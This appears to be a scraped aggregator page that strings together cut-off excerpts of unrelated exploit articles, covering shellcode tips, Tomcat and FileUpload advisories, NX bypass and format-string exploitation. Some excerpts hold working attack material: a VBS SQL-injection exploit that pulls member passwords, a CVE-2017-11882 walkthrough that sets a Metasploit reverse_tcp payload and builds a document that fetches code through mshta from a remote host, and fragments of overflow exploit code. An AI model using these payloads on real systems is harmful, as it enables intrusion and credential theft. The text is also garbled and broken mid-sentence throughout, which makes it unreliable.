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Exploit and shellcode experience and skills Created on:Article attributes: originalArticle submission: oyxin (oyxin_at_ph4nt0m.net) OyxinOYXin@ph4nt0m.net Exploit and shellcode experience and skills This article does not teach you how to write exploit and shellcode, but hopes to provide some experiences and skills about writing or researching

Catalog1 . Description2. Analysis3. POC4. Solution1. DescriptionMultipartstream.java in Apache Commons FileUpload before 1.3.1, as used in Apache Tomcat, JBoss Web, and other products, a Llows remote attackers to cause a denial of service (infinite loop and CPU consumption) via a crafted Content-type header That bypasses a loop ' s intended exit conditionsThe Apache Commons FileUpload 1.3.1 and Multipartstream.java files in the previous version of Apache Tomcat and JBoss Web have security vulner

The exploit phase utilizes the information obtained and the various attack methods to implement infiltration. An encrypted communication vulnerability diagnosis for a Network application vulnerability diagnostic project must be performed. As the name implies, exploit the vulnerability to achieve the purpose of the attack. Metasploit Framework Rdesktop + Hydra Sqlmap Arpspoof

Alictf linux exploit Solution 1. Load modulesSudo insmod moduledmesg can see the hook. It is suggested that the module hijacked the system call, or the system call may be added.Then I wrote a program to traverse the system call, confirmed that no system call was added, and then I wrote another module to traverse the sys_call_table and sys_ia32_call_table arrays, and confirmed that the system call was changed. the system call number is 184.At the same

ObjectiveMicrosoft Windows has the largest market share in business or personal applications, and you will often encounter many Windows workstations and servers during penetration testing. On the other hand, most penetration testers use a Linux-based distribution penetration test system, such as Kali Linux or Pentoo and Backbox. So you may need to have the ability to quickly compile Windows exploit on a Linux machine. A piece of software called "mingw

The exploit for this vulnerability has two parts: A. JavaScript Heap Spray Code and x86 Shellcode B. A short of special Xml/span tag elements The the ' I ' of this exploit is a combination of the shellcode and heap spray technology, as it is running, it'll be allocating memory blocks until it reaches address 0x0fff0000, the size of each memory blocks is 1MB, the shellcode would be Put in the address near t

Ruby Framework for penetration testing WordPress websites and systems: WordPress Exploit Framework This Ruby framework contains some modules that can penetration test WordPress websites and systems. Users can also develop their own modules to expand their functions.What are the conditions for running it?Make sure Ruby 2.2.x is installed on the system. Open a command line window, switch the current directory to the WPXF folder, and run the command "bun

Tomcat on October 1 exposed the local right to claim loopholes cve-2016-1240. With only low privileges for tomcat users, attackers can exploit this vulnerability to gain root access to the system. And the vulnerability is not very difficult to use, affected users need special attention. Tomcat is an application server running on Apache that supports the container for running SERVLET/JSP applications-you can consider Tomcat as an extension of Apache, a

How to exploit the format Overflow Vulnerability Created:Article attributes: ReprintedArticle submitted: silverlizard (silverlizard_at_vertarmy.org) By Sam Directory:1. What is the formatting overflow vulnerability?2. How to create an exploit Format String3. Determine the retaddr/retloc value.4. General templates 1. What is the format strings overflow vulnerability?I will not detail the article on formattin

/*Artiphp CMS 5.5.0 Database Backup Disclosure ExploitAuthor: Artiphp www.2cto.com http://www.artiphp.comAffected Versions: 5.5.0 Neo (r422)Summary: Artiphp is a content management system (CMS) openAnd free to create and manage your website.Description: Artiphp stores database backups using backupDB () utilityWith a predictable file name inside the web root, which can beExploited to disclose sensitive information by downloadingFile. The backup is located in '/artzone/artpublic/database /'Directo

What is NX Bit? Its a exploit mitigation technique which makes certain areas of memory non executable and makes an executable area, non w Ritable. Example:data, stack and heap segments is made non executable while the text segment is made non writable. List the header information for an elf programReadelf-l Vuln How to bypass NX bit and achieve arbitrary code execution? NX bit can is bypassed using an attack technique called "retu

Also conducive to modification The following is the search.inc.php file vulnerability exploit code VBS version Copy Code code as follows: Dim Strurl,strsite,strpath,struid SHOWB () Set Args = wscript.arguments If Args.count Showu () Else Strsite=args (0) Strpath=args (1) Struid=args (2) End If Strurl= "ACTION=SEARCHAMP;SEARCHID=22%CF ' UNION SELECT 1,password,3,password/**/from/**/cdb_members/**/where/**/ Uid= " Struid "/*do=subm

cve_2017_11882Load this module:Using Bounce Shellcode, configure the native address, configure the URI addressset payload windows/meterpreter/reverse_tcpset192.168. 0.105 Set Uripath AaaaexploitGenerating exploit files Test1.docThe implementation uses Ifconfig to find the current computer IP, and then executes the following command under Clone down project, the current system generates a Test1.doc file:Python command109b_cve--11882"mshta http://192.1

! = 3){Fprintf (stderr, "usage: % s Exit (0 );}S = socket (AF_INET, SOCK_STREAM, 0 );If (s =-1){Perror ("socket () failed \ n ");Exit (0 );}Host = gethostbyname (argv [1]);If (host = NULL){Herror ("gethostbyname () failed ");Exit (0 );}Addr. sin_addr = * (struct in_addr *) host-> h_addr;Addr. sin_family = AF_INET;Addr. sin_port = htons (atol (argv [2]);If (connect (s, addr, sizeof (addr) =-1){Perror ("couldn't connect so server \ n ");Exit (0 );}/* Not difficult only filling buffer with A's...

Exploit Linux Kernel Slub OverflowBy wzt I. Preface In recent years, the research on kernel exploit has been quite popular. Common kernel Elevation of Privilege vulnerabilities can be divided into several categories:Null Pointer Reference, Kernel stack overflow, Kernel slab overflow, arbitrary kernel address writability, and so on. Comparison of Null Pointer Reference VulnerabilitiesIt is easy to

# Exploit Title: Supernews # Google Dork: intext: "2003-2004: SuperNews: Todos OS direitos reservados"# Date: 2012/# Author: WhiteCollarGroup# Software Link: http://phpbrasil.com/script/vT0FaOCySSH/supernews# Version: 2.6.1# Tested on: Debian GNU/Linux/*Exploit for educational purpose only.Note sent to the developer Fernando Pontes by e-mail odnanrefsetnop@bol.com.brSuperNews are a warning Ilian news system

Author: Sven TauteTranslator: riusksk (quange) Because of the dynamic characteristics of JavaScript, it is easy to use it to confuse exploit code. Because JavaScript is an interpreted language and the website also provides source code to users, the function of Javascript obfuscation code is often used to protect the source code to prevent copying and pasting, it also protects developers' intellectual property rights. In the past few years, algorithms